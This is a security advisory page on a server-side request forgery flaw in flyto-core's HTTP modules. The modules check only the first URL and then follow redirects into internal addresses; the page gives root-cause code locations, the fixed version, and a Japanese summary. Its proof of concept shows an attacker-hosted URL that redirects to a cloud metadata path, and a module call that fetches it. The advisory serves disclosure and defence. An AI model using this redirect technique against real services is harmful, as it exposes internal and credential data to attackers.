SSRF (Server-Side Request Forgery) in flyto-core (CVE-2026-67424)
Summary
SSRF in flyto-core (CVE-2026-67424). Confidential information can be exposed externally. Exploitable via http.get. Mitigation: upgrade to 2.26.7 or later.
Original description
The description as published by the source.
Summary
The HTTP modules that DO call the SSRF guard (http.get, http.request, http.batch) validate only the initial URL, then issue the request with aiohttp's default allow_redirects=True and perform no per-hop revalidation. An attacker hosts a public URL that 302-redirects to an internal address; the guard passes on the public host and aiohttp transparently follows the redirect into internal space, returning the internal body.
Root Cause
src/core/modules/atomic/http/get.py:116 calls session.get(url, ...) with no allow_redirects argument → aiohttp default True. request.py:60 sets allow_redirects=follow_redirects (default True at :327); batch.py:57 likewise. A repo grep of http/ for on_request_redirect / response.history returns NONE — there is no redirect interception or Location revalidation.
Impact
Full readable SSRF that defeats the primary SSRF control on the very modules that correctly validate. Confidentiality of internal/metadata responses (C:H), S:C.
Proof of Concept
Verified live: http.get with allowlisted base 127.0.0.1 followed a 302 Location: http://127.0.0.2/... (non-allowlisted) and returned INTERNAL-VIA-REDIRECT.
attacker hosts http://attacker.tld/r -> 302 Location: http:///latest/meta-data/...
execute_module http.get {"url":"http://attacker.tld/r"}
Attack Chain
- Entry:
execute_module http.get {url:"http://attacker.tld/r"}(attacker 302->internal). Guard:validate_url_with_env_config(url)(g…
Source: NIST National Vulnerability Database NVD GitHub Advisory
AI summary
Written by an external AI model and may contain mistakes. Check the original description and references below before acting on it.
Flyto2 CoreのHTTPモジュールにおいて、初期URLのみが検証され、その後のリダイレクトが安全に検証されない問題があります。これにより、公開URLから内部アドレス空間にリダイレクトし、内部応答本文が返される可能性があります。バージョン2.26.7でこの問題は修正されています。
Flyto2 CoreのHTTPモジュールでのリダイレクト検証不足
HTTPモジュール src/core/modules/atomic/http/get.py、src/core/modules/atomic/http/request.py、src/core/modules/atomic/http/batch.py
内部ネットワーク情報が漏洩する可能性があり危険です。
バージョン2.26.7にアップデートしてください。
情報なし
情報なし
Affected packages
References
- advisory nvd.nist.gov
- advisory github.com
- package github.com
- package pypi.org
- web github.com
- web github.com
- web github.com